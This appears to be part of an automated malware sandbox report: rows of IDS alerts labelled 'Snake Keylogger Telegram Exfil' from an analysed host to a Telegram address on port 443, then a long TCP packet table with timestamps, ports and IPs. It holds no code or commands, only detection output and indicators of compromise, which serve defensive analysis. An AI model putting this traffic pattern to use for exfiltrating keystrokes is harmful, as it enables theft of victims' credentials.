2024-11-26T08:26:03.351666+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.7	49904	149.154.167.220	443	TCP
2024-11-26T08:26:03.370309+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.7	49905	149.154.167.220	443	TCP
2024-11-26T08:26:03.406589+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.7	49906	149.154.167.220	443	TCP
2024-11-26T08:26:05.312972+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.7	49914	149.154.167.220	443	TCP
2024-11-26T08:26:05.352639+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.7	49913	149.154.167.220	443	TCP
2024-11-26T08:26:05.393524+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.7	49912	149.154.167.220	443	TCP
2024-11-26T08:26:07.279485+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.7	49920	149.154.167.220	443	TCP
2024-11-26T08:26:07.345296+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.7	49921	149.154.167.220	443	TCP
2024-11-26T08:26:07.457694+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.7	49922	149.154.167.220	443	TCP
2024-11-26T08:26:09.366044+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.7	49927	149.154.167.220	443	TCP
2024-11-26T08:26:09.446698+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.7	49930	149.154.167.220	443	TCP
2024-11-26T08:26:09.474202+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.7	49928	149.154.167.220	443	TCP
2024-11-26T08:26:11.332919+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.7	49933	149.154.167.220	443	TCP
2024-11-26T08:26:11.428641+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.7	49935	149.154.167.220	443	TCP
2024-11-26T08:26:11.471048+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.7	49936	149.154.167.220	443	TCP
2024-11-26T08:26:13.256007+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.7	49941	149.154.167.220	443	TCP
2024-11-26T08:26:13.436690+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.7	49942	149.154.167.220	443	TCP
2024-11-26T08:26:13.501238+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.7	49943	149.154.167.220	443	TCP
2024-11-26T08:26:15.278867+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.7	49948	149.154.167.220	443	TCP
2024-11-26T08:26:15.348597+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.7	49949	149.154.167.220	443	TCP
2024-11-26T08:26:15.422819+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.7	49950	149.154.167.220	443	TCP
2024-11-26T08:26:17.209949+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.7	49954	149.154.167.220	443	TCP
2024-11-26T08:26:17.284332+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.7	49956	149.154.167.220	443	TCP
2024-11-26T08:26:17.536036+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.7	49958	149.154.167.220	443	TCP
2024-11-26T08:26:19.184103+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.7	49962	149.154.167.220	443	TCP
2024-11-26T08:26:19.312608+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.7	49963	149.154.167.220	443	TCP
2024-11-26T08:26:19.522199+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.7	49964	149.154.167.220	443	TCP
2024-11-26T08:26:21.092837+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.7	49970	149.154.167.220	443	TCP
2024-11-26T08:26:21.241718+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.7	49971	149.154.167.220	443	TCP
2024-11-26T08:26:21.592855+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.7	49972	149.154.167.220	443	TCP
2024-11-26T08:26:23.080079+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.7	49978	149.154.167.220	443	TCP
2024-11-26T08:26:23.222050+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.7	49979	149.154.167.220	443	TCP
2024-11-26T08:26:23.535147+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.7	49980	149.154.167.220	443	TCP
2024-11-26T08:26:25.245719+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.7	49985	149.154.167.220	443	TCP
2024-11-26T08:26:25.283026+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.7	49987	149.154.167.220	443	TCP
2024-11-26T08:26:25.589458+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.7	49988	149.154.167.220	443	TCP
2024-11-26T08:26:31.642373+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.7	49995	149.154.167.220	443	TCP
2024-11-26T08:26:31.656599+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.7	49994	149.154.167.220	443	TCP
2024-11-26T08:26:31.693328+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.7	49996	149.154.167.220	443	TCP
2024-11-26T08:26:33.574221+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.7	50009	149.154.167.220	443	TCP
2024-11-26T08:26:33.643595+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.7	50010	149.154.167.220	443	TCP
2024-11-26T08:26:33.752791+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.7	50011	149.154.167.220	443	TCP
2024-11-26T08:26:35.569075+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.7	50017	149.154.167.220	443	TCP
2024-11-26T08:26:35.681487+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.7	50018	149.154.167.220	443	TCP
2024-11-26T08:26:35.733782+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.7	50019	149.154.167.220	443	TCP
2024-11-26T08:26:37.715979+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.7	50023	149.154.167.220	443	TCP
2024-11-26T08:26:37.794071+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.7	50027	149.154.167.220	443	TCP
2024-11-26T08:26:37.818520+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.7	50025	149.154.167.220	443	TCP
2024-11-26T08:26:39.757265+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.7	50031	149.154.167.220	443	TCP
2024-11-26T08:26:39.795861+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.7	50033	149.154.167.220	443	TCP
2024-11-26T08:26:39.916899+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.7	50032	149.154.167.220	443	TCP
2024-11-26T08:26:41.912089+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.7	50040	149.154.167.220	443	TCP
2024-11-26T08:26:41.912183+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.7	50039	149.154.167.220	443	TCP
2024-11-26T08:26:41.929941+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.7	50041	149.154.167.220	443	TCP
2024-11-26T08:26:44.076440+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.7	50047	149.154.167.220	443	TCP
2024-11-26T08:26:44.094887+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.7	50049	149.154.167.220	443	TCP
2024-11-26T08:26:44.123470+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.7	50048	149.154.167.220	443	TCP
2024-11-26T08:26:46.030364+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.7	50057	149.154.167.220	443	TCP
2024-11-26T08:26:46.066302+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.7	50055	149.154.167.220	443	TCP
2024-11-26T08:26:46.115026+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.7	50056	149.154.167.220	443	TCP
2024-11-26T08:26:51.465312+0100	2853006	ETPRO MALWARE Snake Keylogger Telegram Exfil	1	192.168.2.7	50070	149.154.167.220	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 26, 2024 08:24:41.450217009 CET	49701	443	192.168.2.7	185.166.143.48
Nov 26, 2024 08:24:41.450263023 CET	443	49701	185.166.143.48	192.168.2.7
Nov 26, 2024 08:24:41.450376034 CET	49701	443	192.168.2.7	185.166.143.48
Nov 26, 2024 08:24:41.450712919 CET	49701	443	192.168.2.7	185.166.143.48
Nov 26, 2024 08:24:41.450783968 CET	443	49701	185.166.143.48	192.168.2.7
Nov 26, 2024 08:24:41.450880051 CET	49701	443	192.168.2.7	185.166.143.48
Nov 26, 2024 08:24:41.478579998 CET	49702	443	192.168.2.7	185.166.143.48
Nov 26, 2024 08:24:41.478611946 CET	443	49702	185.166.143.48	192.168.2.7
Nov 26, 2024 08:24:41.478678942 CET	49702	443	192.168.2.7	185.166.143.48
Nov 26, 2024 08:24:41.481576920 CET	49702	443	192.168.2.7	185.166.143.48
Nov 26, 2024 08:24:41.481590986 CET	443	49702	185.166.143.48	192.168.2.7
Nov 26, 2024 08:24:42.921977997 CET	443	49702	185.166.143.48	192.168.2.7
Nov 26, 2024 08:24:42.922116995 CET	49702	443	192.168.2.7	185.166.143.48
Nov 26, 2024 08:24:43.069072008 CET	49702	443	192.168.2.7	185.166.143.48
Nov 26, 2024 08:24:43.069102049 CET	443	49702	185.166.143.48	192.168.2.7
Nov 26, 2024 08:24:43.069504976 CET	443	49702	185.166.143.48	192.168.2.7
Nov 26, 2024 08:24:43.124422073 CET	49702	443	192.168.2.7	185.166.143.48
Nov 26, 2024 08:24:43.375535011 CET	49702	443	192.168.2.7	185.166.143.48
Nov 26, 2024 08:24:43.423337936 CET	443	49702	185.166.143.48	192.168.2.7
Nov 26, 2024 08:24:43.942517996 CET	443	49702	185.166.143.48	192.168.2.7
Nov 26, 2024 08:24:43.942542076 CET	443	49702	185.166.143.48	192.168.2.7
Nov 26, 2024 08:24:43.942573071 CET	49702	443	192.168.2.7	185.166.143.48
Nov 26, 2024 08:24:43.942590952 CET	443	49702	185.166.143.48	192.168.2.7
Nov 26, 2024 08:24:43.942603111 CET	443	49702	185.166.143.48	192.168.2.7
Nov 26, 2024 08:24:43.942610979 CET	49702	443	192.168.2.7	185.166.143.48
Nov 26, 2024 08:24:43.942662954 CET	49702	443	192.168.2.7	185.166.143.48
Nov 26, 2024 08:24:43.943898916 CET	49702	443	192.168.2.7	185.166.143.48
Nov 26, 2024 08:24:43.943917036 CET	443	49702	185.166.143.48	192.168.2.7
Nov 26, 2024 08:24:43.943928957 CET	49702	443	192.168.2.7	185.166.143.48
Nov 26, 2024 08:24:43.943933964 CET	443	49702	185.166.143.48	192.168.2.7
Nov 26, 2024 08:24:44.192182064 CET	49703	443	192.168.2.7	16.182.70.225
Nov 26, 2024 08:24:44.192231894 CET	443	49703	16.182.70.225	192.168.2.7
Nov 26, 2024 08:24:44.192332029 CET	49703	443	192.168.2.7	16.182.70.225
Nov 26, 2024 08:24:44.192646027 CET	49703	443	192.168.2.7	16.182.70.225
Nov 26, 2024 08:24:44.192662954 CET	443	49703	16.182.70.225	192.168.2.7
Nov 26, 2024 08:24:45.662796021 CET	443	49703	16.182.70.225	192.168.2.7
Nov 26, 2024 08:24:45.662911892 CET	49703	443	192.168.2.7	16.182.70.225
Nov 26, 2024 08:24:45.730374098 CET	49703	443	192.168.2.7	16.182.70.225
Nov 26, 2024 08:24:45.730413914 CET	443	49703	16.182.70.225	192.168.2.7
Nov 26, 2024 08:24:45.730699062 CET	443	49703	16.182.70.225	192.168.2.7
Nov 26, 2024 08:24:45.733269930 CET	49703	443	192.168.2.7	16.182.70.225
Nov 26, 2024 08:24:45.779330969 CET	443	49703	16.182.70.225	192.168.2.7
Nov 26, 2024 08:24:46.137485027 CET	443	49703	16.182.70.225	192.168.2.7
Nov 26, 2024 08:24:46.187424898 CET	49703	443	192.168.2.7	16.182.70.225
Nov 26, 2024 08:24:46.187431097 CET	443	49703	16.182.70.225	192.168.2.7
Nov 26, 2024 08:24:46.187450886 CET	443	49703	16.182.70.225	192.168.2.7
Nov 26, 2024 08:24:46.187468052 CET	443	49703	16.182.70.225	192.168.2.7
Nov 26, 2024 08:24:46.187477112 CET	443	49703	16.182.70.225	192.168.2.7
Nov 26, 2024 08:24:46.187500000 CET	49703	443	192.168.2.7	16.182.70.225
Nov 26, 2024 08:24:46.187516928 CET	443	49703	16.182.70.225	192.168.2.7
Nov 26, 2024 08:24:46.187534094 CET	49703	443	192.168.2.7	16.182.70.225
Nov 26, 2024 08:24:46.187552929 CET	49703	443	192.168.2.7	16.182.70.225
Nov 26, 2024 08:24:46.187558889 CET	443	49703	16.182.70.225	192.168.2.7
Nov 26, 2024 08:24:46.235424042 CET	49703	443	192.168.2.7	16.182.70.225
Nov 26, 2024 08:24:46.371871948 CET	443	49703	16.182.70.225	192.168.2.7
Nov 26, 2024 08:24:46.371891022 CET	443	49703	16.182.70.225	192.168.2.7
Nov 26, 2024 08:24:46.371932983 CET	443	49703	16.182.70.225	192.168.2.7
Nov 26, 2024 08:24:46.371983051 CET	49703	443	192.168.2.7	16.182.70.225
Nov 26, 2024 08:24:46.372016907 CET	443	49703	16.182.70.225	192.168.2.7
Nov 26, 2024 08:24:46.372028112 CET	443	49703	16.182.70.225	192.168.2.7
Nov 26, 2024 08:24:46.372040987 CET	49703	443	192.168.2.7	16.182.70.225
Nov 26, 2024 08:24:46.372068882 CET	49703	443	192.168.2.7	16.182.70.225
Nov 26, 2024 08:24:46.378916025 CET	443	49703	16.182.70.225	192.168.2.7
Nov 26, 2024 08:24:46.423410892 CET	443	49703	16.182.70.225	192.168.2.7
Nov 26, 2024 08:24:46.423437119 CET	443	49703	16.182.70.225	192.168.2.7
Nov 26, 2024 08:24:46.423513889 CET	49703	443	192.168.2.7	16.182.70.225
Nov 26, 2024 08:24:46.423547029 CET	443	49703	16.182.70.225	192.168.2.7
Nov 26, 2024 08:24:46.423563004 CET	49703	443	192.168.2.7	16.182.70.225
Nov 26, 2024 08:24:46.437838078 CET	443	49703	16.182.70.225	192.168.2.7
Nov 26, 2024 08:24:46.437896967 CET	49703	443	192.168.2.7	16.182.70.225
Nov 26, 2024 08:24:46.437912941 CET	443	49703	16.182.70.225	192.168.2.7
Nov 26, 2024 08:24:46.490461111 CET	49703	443	192.168.2.7	16.182.70.225
Nov 26, 2024 08:24:46.560316086 CET	443	49703	16.182.70.225	192.168.2.7
Nov 26, 2024 08:24:46.560332060 CET	443	49703	16.182.70.225	192.168.2.7
Nov 26, 2024 08:24:46.560364008 CET	443	49703	16.182.70.225	192.168.2.7
Nov 26, 2024 08:24:46.560375929 CET	443	49703	16.182.70.225	192.168.2.7
Nov 26, 2024 08:24:46.560509920 CET	49703	443	192.168.2.7	16.182.70.225
Nov 26, 2024 08:24:46.560509920 CET	49703	443	192.168.2.7	16.182.70.225
Nov 26, 2024 08:24:46.560534000 CET	443	49703	16.182.70.225	192.168.2.7
Nov 26, 2024 08:24:46.560587883 CET	49703	443	192.168.2.7	16.182.70.225
Nov 26, 2024 08:24:46.565500021 CET	443	49703	16.182.70.225	192.168.2.7
Nov 26, 2024 08:24:46.595978022 CET	443	49703	16.182.70.225	192.168.2.7
Nov 26, 2024 08:24:46.596013069 CET	443	49703	16.182.70.225	192.168.2.7
Nov 26, 2024 08:24:46.596045017 CET	443	49703	16.182.70.225	192.168.2.7
Nov 26, 2024 08:24:46.596076965 CET	49703	443	192.168.2.7	16.182.70.225
Nov 26, 2024 08:24:46.596106052 CET	443	49703	16.182.70.225	192.168.2.7
Nov 26, 2024 08:24:46.596138000 CET	49703	443	192.168.2.7	16.182.70.225
Nov 26, 2024 08:24:46.630727053 CET	443	49703	16.182.70.225	192.168.2.7
Nov 26, 2024 08:24:46.630743027 CET	443	49703	16.182.70.225	192.168.2.7
Nov 26, 2024 08:24:46.630778074 CET	443	49703	16.182.70.225	192.168.2.7
Nov 26, 2024 08:24:46.630789042 CET	443	49703	16.182.70.225	192.168.2.7
Nov 26, 2024 08:24:46.630836964 CET	49703	443	192.168.2.7	16.182.70.225
Nov 26, 2024 08:24:46.630867958 CET	443	49703	16.182.70.225	192.168.2.7
Nov 26, 2024 08:24:46.630886078 CET	49703	443	192.168.2.7	16.182.70.225
Nov 26, 2024 08:24:46.665488005 CET	443	49703	16.182.70.225	192.168.2.7
Nov 26, 2024 08:24:46.665501118 CET	443	49703	16.182.70.225	192.168.2.7
Nov 26, 2024 08:24:46.665667057 CET	49703	443	192.168.2.7	16.182.70.225
Nov 26, 2024 08:24:46.665704012 CET	443	49703	16.182.70.225	192.168.2.7
Nov 26, 2024 08:24:46.665719986 CET	443	49703	16.182.70.225	192.168.2.7
Nov 26, 2024 08:24:46.665765047 CET	49703	443	192.168.2.7	16.182.70.225
Nov 26, 2024 08:24:46.696254969 CET	49703	443	192.168.2.7	16.182.70.225
Nov 26, 2024 08:24:46.742105007 CET	443	49703	16.182.70.225	192.168.2.7
Nov 26, 2024 08:24:46.761317015 CET	443	49703	16.182.70.225	192.168.2.7
Nov 26, 2024 08:24:46.761348963 CET	443	49703	16.182.70.225	192.168.2.7
Nov 26, 2024 08:24:46.761363029 CET	443	49703	16.182.70.225	192.168.2.7
Nov 26, 2024 08:24:46.761377096 CET	443	49703	16.182.70.225	192.168.2.7
Nov 26, 2024 08:24:46.761387110 CET	49703	443	192.168.2.7	16.182.70.225
Nov 26, 2024 08:24:46.761418104 CET	443	49703	16.182.70.225	192.168.2.7
Nov 26, 2024 08:24:46.761440039 CET	49703	443	192.168.2.7	16.182.70.225
Nov 26, 2024 08:24:46.785794973 CET	443	49703	16.182.70.225	192.168.2.7
Nov 26, 2024 08:24:46.785805941 CET	443	49703	16.182.70.225	192.168.2.7
Nov 26, 2024 08:24:46.785840988 CET	443	49703	16.182.70.225	192.168.2.7
Nov 26, 2024 08:24:46.785861015 CET	49703	443	192.168.2.7	16.182.70.225
Nov 26, 2024 08:24:46.785865068 CET	443	49703	16.182.70.225	192.168.2.7
Nov 26, 2024 08:24:46.785872936 CET	443	49703	16.182.70.225	192.168.2.7
Nov 26, 2024 08:24:46.785892010 CET	443	49703	16.182.70.225	192.168.2.7
Nov 26, 2024 08:24:46.785911083 CET	49703	443	192.168.2.7	16.182.70.225
Nov 26, 2024 08:24:46.785911083 CET	49703	443	192.168.2.7	16.182.70.225
Nov 26, 2024 08:24:46.785926104 CET	49703	443	192.168.2.7	16.182.70.225
Nov 26, 2024 08:24:46.802793980 CET	443	49703	16.182.70.225	192.168.2.7
Nov 26, 2024 08:24:46.802813053 CET	443	49703	16.182.70.225	192.168.2.7
Nov 26, 2024 08:24:46.802846909 CET	443	49703	16.182.70.225	192.168.2.7
Nov 26, 2024 08:24:46.802886963 CET	49703	443	192.168.2.7	16.182.70.225
Nov 26, 2024 08:24:46.802915096 CET	443	49703	16.182.70.225	192.168.2.7
Nov 26, 2024 08:24:46.802930117 CET	49703	443	192.168.2.7	16.182.70.225
Nov 26, 2024 08:24:46.815532923 CET	443	49703	16.182.70.225	192.168.2.7
Nov 26, 2024 08:24:46.815562010 CET	443	49703	16.182.70.225	192.168.2.7
Nov 26, 2024 08:24:46.815598965 CET	49703	443	192.168.2.7	16.182.70.225
Nov 26, 2024 08:24:46.815625906 CET	443	49703	16.182.70.225	192.168.2.7
Nov 26, 2024 08:24:46.815644979 CET	49703	443	192.168.2.7	16.182.70.225
Nov 26, 2024 08:24:46.827058077 CET	443	49703	16.182.70.225	192.168.2.7
Nov 26, 2024 08:24:46.827079058 CET	443	49703	16.182.70.225	192.168.2.7
Nov 26, 2024 08:24:46.827126026 CET	49703	443	192.168.2.7	16.182.70.225
Nov 26, 2024 08:24:46.827157974 CET	443	49703	16.182.70.225	192.168.2.7
Nov 26, 2024 08:24:46.827172041 CET	49703	443	192.168.2.7	16.182.70.225
Nov 26, 2024 08:24:46.873435020 CET	49703	443	192.168.2.7	16.182.70.225
Nov 26, 2024 08:24:46.873462915 CET	443	49703	16.182.70.225	192.168.2.7
Nov 26, 2024 08:24:46.921530008 CET	49703	443	192.168.2.7	16.182.70.225
Nov 26, 2024 08:24:46.942913055 CET	443	49703	16.182.70.225	192.168.2.7
Nov 26, 2024 08:24:46.942945004 CET	443	49703	16.182.70.225	192.168.2.7
Nov 26, 2024 08:24:46.942962885 CET	443	49703	16.182.70.225	192.168.2.7
Nov 26, 2024 08:24:46.942972898 CET	443	49703	16.182.70.225	192.168.2.7
Nov 26, 2024 08:24:46.943002939 CET	49703	443	192.168.2.7	16.182.70.225
Nov 26, 2024 08:24:46.943022013 CET	443	49703	16.182.70.225	192.168.2.7
Nov 26, 2024 08:24:46.943051100 CET	49703	443	192.168.2.7	16.182.70.225
Nov 26, 2024 08:24:46.943059921 CET	49703	443	192.168.2.7	16.182.70.225
Nov 26, 2024 08:24:46.943420887 CET	443	49703	16.182.70.225	192.168.2.7
Nov 26, 2024 08:24:46.953253984 CET	443	49703	16.182.70.225	192.168.2.7
Nov 26, 2024 08:24:46.953264952 CET	443	49703	16.182.70.225	192.168.2.7
Nov 26, 2024 08:24:46.953301907 CET	443	49703	16.182.70.225	192.168.2.7
Nov 26, 2024 08:24:46.953325987 CET	49703	443	192.168.2.7	16.182.70.225
Nov 26, 2024 08:24:46.953334093 CET	443	49703	16.182.70.225	192.168.2.7
Nov 26, 2024 08:24:46.953366041 CET	49703	443	192.168.2.7	16.182.70.225
Nov 26, 2024 08:24:46.964724064 CET	443	49703	16.182.70.225	192.168.2.7
Nov 26, 2024 08:24:46.964776993 CET	443	49703	16.182.70.225	192.168.2.7
Nov 26, 2024 08:24:46.964785099 CET	49703	443	192.168.2.7	16.182.70.225
Nov 26, 2024 08:24:46.964803934 CET	443	49703	16.182.70.225	192.168.2.7
Nov 26, 2024 08:24:46.964833021 CET	49703	443	192.168.2.7	16.182.70.225
Nov 26, 2024 08:24:46.964845896 CET	49703	443	192.168.2.7	16.182.70.225
Nov 26, 2024 08:24:46.974468946 CET	443	49703	16.182.70.225	192.168.2.7
Nov 26, 2024 08:24:46.974484921 CET	443	49703	16.182.70.225	192.168.2.7
Nov 26, 2024 08:24:46.974510908 CET	443	49703	16.182.70.225	192.168.2.7
Nov 26, 2024 08:24:46.974535942 CET	49703	443	192.168.2.7	16.182.70.225
Nov 26, 2024 08:24:46.974545002 CET	443	49703	16.182.70.225	192.168.2.7
Nov 26, 2024 08:24:46.974567890 CET	49703	443	192.168.2.7	16.182.70.225
Nov 26, 2024 08:24:46.984338999 CET	443	49703	16.182.70.225	192.168.2.7
Nov 26, 2024 08:24:46.984358072 CET	443	49703	16.182.70.225	192.168.2.7
Nov 26, 2024 08:24:46.984385014 CET	49703	443	192.168.2.7	16.182.70.225
Nov 26, 2024 08:24:46.984397888 CET	443	49703	16.182.70.225	192.168.2.7
Nov 26, 2024 08:24:46.984436035 CET	49703	443	192.168.2.7	16.182.70.225
Nov 26, 2024 08:24:46.993603945 CET	443	49703	16.182.70.225	192.168.2.7
Nov 26, 2024 08:24:46.993655920 CET	443	49703	16.182.70.225	192.168.2.7
Nov 26, 2024 08:24:46.993671894 CET	49703	443	192.168.2.7	16.182.70.225
Nov 26, 2024 08:24:46.993683100 CET	443	49703	16.182.70.225	192.168.2.7
Nov 26, 2024 08:24:46.993711948 CET	49703	443	192.168.2.7	16.182.70.225
Nov 26, 2024 08:24:47.004728079 CET	443	49703	16.182.70.225	192.168.2.7
Nov 26, 2024 08:24:47.004775047 CET	443	49703	16.182.70.225	192.168.2.7
Nov 26, 2024 08:24:47.004797935 CET	49703	443	192.168.2.7	16.182.70.225
Nov 26, 2024 08:24:47.004803896 CET	443	49703	16.182.70.225	192.168.2.7
Nov 26, 2024 08:24:47.004848003 CET	49703	443	192.168.2.7	16.182.70.225
Nov 26, 2024 08:24:47.004856110 CET	443	49703	16.182.70.225	192.168.2.7
Nov 26, 2024 08:24:47.004894972 CET	49703	443	192.168.2.7	16.182.70.225
Nov 26, 2024 08:24:47.014617920 CET	443	49703	16.182.70.225	192.168.2.7
Nov 26, 2024 08:24:47.014626026 CET	443	49703	16.182.70.225	192.168.2.7
Nov 26, 2024 08:24:47.014700890 CET	49703	443	192.168.2.7	16.182.70.225
Nov 26, 2024 08:24:47.014708996 CET	443	49703	16.182.70.225	192.168.2.7
Nov 26, 2024 08:24:47.014745951 CET	49703	443	192.168.2.7	16.182.70.225
Nov 26, 2024 08:24:47.014751911 CET	443	49703	16.182.70.225	192.168.2.7
Nov 26, 2024 08:24:47.065437078 CET	49703	443	192.168.2.7	16.182.70.225
Nov 26, 2024 08:24:47.150665998 CET	443	49703	16.182.70.225	192.168.2.7
Nov 26, 2024 08:24:47.150696993 CET	443	49703	16.182.70.225	192.168.2.7
Nov 26, 2024 08:24:47.150748014 CET	49703	443	192.168.2.7	16.182.70.225
Nov 26, 2024 08:24:47.150758982 CET	443	49703	16.182.70.225	192.168.2.7
Nov 26, 2024 08:24:47.150777102 CET	443	49703	16.182.70.225	192.168.2.7
Nov 26, 2024 08:24:47.150794983 CET	49703	443	192.168.2.7	16.182.70.225
Nov 26, 2024 08:24:47.150814056 CET	49703	443	192.168.2.7	16.182.70.225
Nov 26, 2024 08:24:47.158968925 CET	443	49703	16.182.70.225	192.168.2.7
Nov 26, 2024 08:24:47.158993006 CET	443	49703	16.182.70.225	192.168.2.7
Nov 26, 2024 08:24:47.159039021 CET	49703	443	192.168.2.7	16.182.70.225
Nov 26, 2024 08:24:47.159046888 CET	443	49703	16.182.70.225	192.168.2.7
Nov 26, 2024 08:24:47.159081936 CET	49703	443	192.168.2.7	16.182.70.225
Nov 26, 2024 08:24:47.167438984 CET	443	49703	16.182.70.225	192.168.2.7
Nov 26, 2024 08:24:47.167455912 CET	443	49703	16.182.70.225	192.168.2.7
Nov 26, 2024 08:24:47.167500019 CET	49703	443	192.168.2.7	16.182.70.225
Nov 26, 2024 08:24:47.167510986 CET	443	49703	16.182.70.225	192.168.2.7
Nov 26, 2024 08:24:47.167536974 CET	49703	443	192.168.2.7	16.182.70.225
Nov 26, 2024 08:24:47.175748110 CET	443	49703	16.182.70.225	192.168.2.7
Nov 26, 2024 08:24:47.175769091 CET	443	49703	16.182.70.225	192.168.2.7
Nov 26, 2024 08:24:47.175807953 CET	49703	443	192.168.2.7	16.182.70.225
Nov 26, 2024 08:24:47.175816059 CET	443	49703	16.182.70.225	192.168.2.7
Nov 26, 2024 08:24:47.175847054 CET	49703	443	192.168.2.7	16.182.70.225
Nov 26, 2024 08:24:47.184561968 CET	443	49703	16.182.70.225	192.168.2.7
Nov 26, 2024 08:24:47.184606075 CET	443	49703	16.182.70.225	192.168.2.7
Nov 26, 2024 08:24:47.184628010 CET	49703	443	192.168.2.7	16.182.70.225
Nov 26, 2024 08:24:47.184634924 CET	443	49703	16.182.70.225	192.168.2.7
Nov 26, 2024 08:24:47.184675932 CET	49703	443	192.168.2.7	16.182.70.225
Nov 26, 2024 08:24:47.184689045 CET	443	49703	16.182.70.225	192.168.2.7
Nov 26, 2024 08:24:47.184741974 CET	49703	443	192.168.2.7	16.182.70.225
Nov 26, 2024 08:24:47.193442106 CET	443	49703	16.182.70.225	192.168.2.7
Nov 26, 2024 08:24:47.193460941 CET	443	49703	16.182.70.225	192.168.2.7
Nov 26, 2024 08:24:47.193496943 CET	49703	443	192.168.2.7	16.182.70.225
Nov 26, 2024 08:24:47.193496943 CET	443	49703	16.182.70.225	192.168.2.7
Nov 26, 2024 08:24:47.193514109 CET	443	49703	16.182.70.225	192.168.2.7
Nov 26, 2024 08:24:47.193531990 CET	49703	443	192.168.2.7	16.182.70.225
Nov 26, 2024 08:24:47.193556070 CET	49703	443	192.168.2.7	16.182.70.225
Nov 26, 2024 08:24:47.201353073 CET	443	49703	16.182.70.225	192.168.2.7
Nov 26, 2024 08:24:47.201368093 CET	443	49703	16.182.70.225	192.168.2.7
Nov 26, 2024 08:24:47.201390982 CET	443	49703	16.182.70.225	192.168.2.7
Nov 26, 2024 08:24:47.201489925 CET	49703	443	192.168.2.7	16.182.70.225
Nov 26, 2024 08:24:47.201498985 CET	443	49703	16.182.70.225	192.168.2.7
Nov 26, 2024 08:24:47.201539993 CET	49703	443	192.168.2.7	16.182.70.225
Nov 26, 2024 08:24:47.347240925 CET	443	49703	16.182.70.225	192.168.2.7
Nov 26, 2024 08:24:47.347270966 CET	443	49703	16.182.70.225	192.168.2.7
